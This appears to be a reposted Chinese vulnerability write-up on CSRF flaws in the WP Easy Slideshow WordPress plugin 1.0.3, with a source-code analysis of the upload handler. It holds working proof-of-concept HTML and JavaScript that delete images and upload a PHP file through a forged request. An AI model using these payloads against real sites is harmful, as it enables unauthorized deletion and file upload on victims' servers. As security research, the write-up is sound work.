[漏洞分析] WordPress WP Easy Slideshow Plugin 1.0.3 CSRF漏洞

来源:互联网 发布:自然连接 sql 编辑:程序博客网 时间:2024/06/05 10:26
WordPress WP Easy Slideshow Plugin 1.0.3 - Multiple Vulnerabilities
漏洞编号为36612;OSVDB-ID:121270/121271


存在漏洞的为wordpress的一个插件,下载地址为
https://wordpress.org/plugins/wp-easy-slideshow/
https://downloads.wordpress.org/plugin/wp-easy-slideshow.zip


此插件中存在CSRF漏洞
首先可以删除任意的图片

在http://10.0.3.110/wordpress/wp-admin/admin.php?page=wss-add-image中上传一个图片


在http://10.0.3.110/wordpress/wp-admin/admin.php?page=wss-images中可以看到上传的结果。


在10.0.3.9上起一个服务器,上面有个网页名为deleteimage1.html,内容为

<img src="http://10.0.3.110/wordpress/wp-admin/admin.php?page=wss-images&del_id=2">

请求这个网页,浏览器上会显示一个图片受损的图标


回头再看,可见图片已经被删除


在这个请求图片标签的过程中,实际上是发出一个GET请求


还有一种利用的方法就是提交表单,比如要删除id为3的图片


可以构造一个网页,内容如deleteimage2.html。

<html>  <head><title>CSRF Delete Operation</title></head>  <body>    <form action="http://10.0.3.110/wp-admin/admin.php" name="form1" method="GET">      <input type="hidden" name="page" value="wss-images" />      <input type="hidden" name="del_id" value="3" />    </form><script>document.form1.submit();</script>  </body></html>

再次将其放到10.0.3.9的机器上访问,结果被删除




也可以利用此CSRF漏洞上传文件
在名为addfile.html文件中添加相应的javascript代码,完成相应的上传文件动作。
<html>  <head><title>WP CSRF File Upload</title></head>  <body>    <script>      function submitRequest()      {        var xhr = new XMLHttpRequest();        xhr.open("POST", "http://10.0.3.110/wordpress/wp-admin/admin.php?page=wss-add-image", true);        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1559691976562");        xhr.withCredentials = true;        var body = "-----------------------------1559691976562\r\n" +           "Content-Disposition: form-data; name=\"wss_image\"; filename=\"myfile.php\"\r\n" +           "Content-Type: application/octet-stream\r\n" +           "\r\n" +           "\x3c?php\r\n" +           "phpinfo();\r\n" +           "?\x3e\r\n" +           "-----------------------------1559691976562\r\n" +           "Content-Disposition: form-data; name=\"desc_content\"\r\n" +           "\r\n" +           "CSRF File Upload\r\n" +           "-----------------------------1559691976562\r\n" +           "Content-Disposition: form-data; name=\"image_link\"\r\n" +           "\r\n" +           "linkData\r\n" +           "-----------------------------1559691976562\r\n" +           "Content-Disposition: form-data; name=\"submit\"\r\n" +           "\r\n" +           "Submit\r\n" +           "-----------------------------1559691976562--\r\n";        var aBody = new Uint8Array(body.length);        for (var i = 0; i < aBody.length; i++)          aBody[i] = body.charCodeAt(i);         xhr.send(new Blob([aBody]));      }    </script>    <form action="#">      <input type="button" value="Submit request" onclick="submitRequest();" />    </form>  </body></html>

相应的数据包为


访问这个页面之后,可见确实有新文件添加



源码分析

处理图片上传的文件为/wp-easy-slideshow/includes/add_image.php,其中第3~5行代码为

if(!empty($_POST['submit'])){$result = $obj->add_image($_POST,$_FILES['wss_image']);}

可知处理上传的操作的具体函数为add_image。此函数所处的位置为/wp-easy-slideshow/includes/class.php在第28~61行为函数的具体实现
function add_image($postArray, $fileArray){global $wpdb;$prefix = $wpdb->prefix;$content = $postArray['desc_content'];$link = $postArray['image_link'];if($fileArray['error']) { $res['status'] = 'error'; $res['msg'] = 'Upload a image'; }else{$wpdb->insert($prefix.'wss_images', array( 'content' => $content, 'link' => $link ));if(($fileArray["type"] == 'image/jpeg') || ($fileArray["type"] == 'image/pjpeg')){$suf = ".jpg";}elseif($fileArray["type"] == 'image/gif'){$suf = ".gif";}elseif($fileArray["type"] == 'image/png'){$suf = ".png";}$filename = WSS_UPLOADS_DIR.'/'.$wpdb->insert_id.$suf;move_uploaded_file($fileArray['tmp_name'], $filename);image_resize($filename,296,120,false,'thumb',WSS_UPLOADS_DIR);$wpdb->update($prefix.'wss_images',array( 'guid' => $wpdb->insert_id.$suf ), array( 'id' => $wpdb->insert_id ) );$res['status'] = 'success'; $res['msg'] = 'Image added successfully';}return $res;}

先从CSRF的角度分析这段代码:
首先其未作任何防止CSRF的操作,比如强制验证码,Referer Check以及Token。
再从安全上传的角度来看,首先,其只对后缀名为jpeg、png、gif的文件进行处理,如果跳出这个范围,那么上传文件保存在服务器本地的文件没有后缀名,只有ID号。

代码的最后又通过image_resize()函数对图片进行二次渲染处理。这会破坏图片中的脚本代码。比如之前通过COPY将webshell添加在图片的尾部,经过处理后发现图片结尾出的php代码已经不见了。



0 0
原创粉丝点击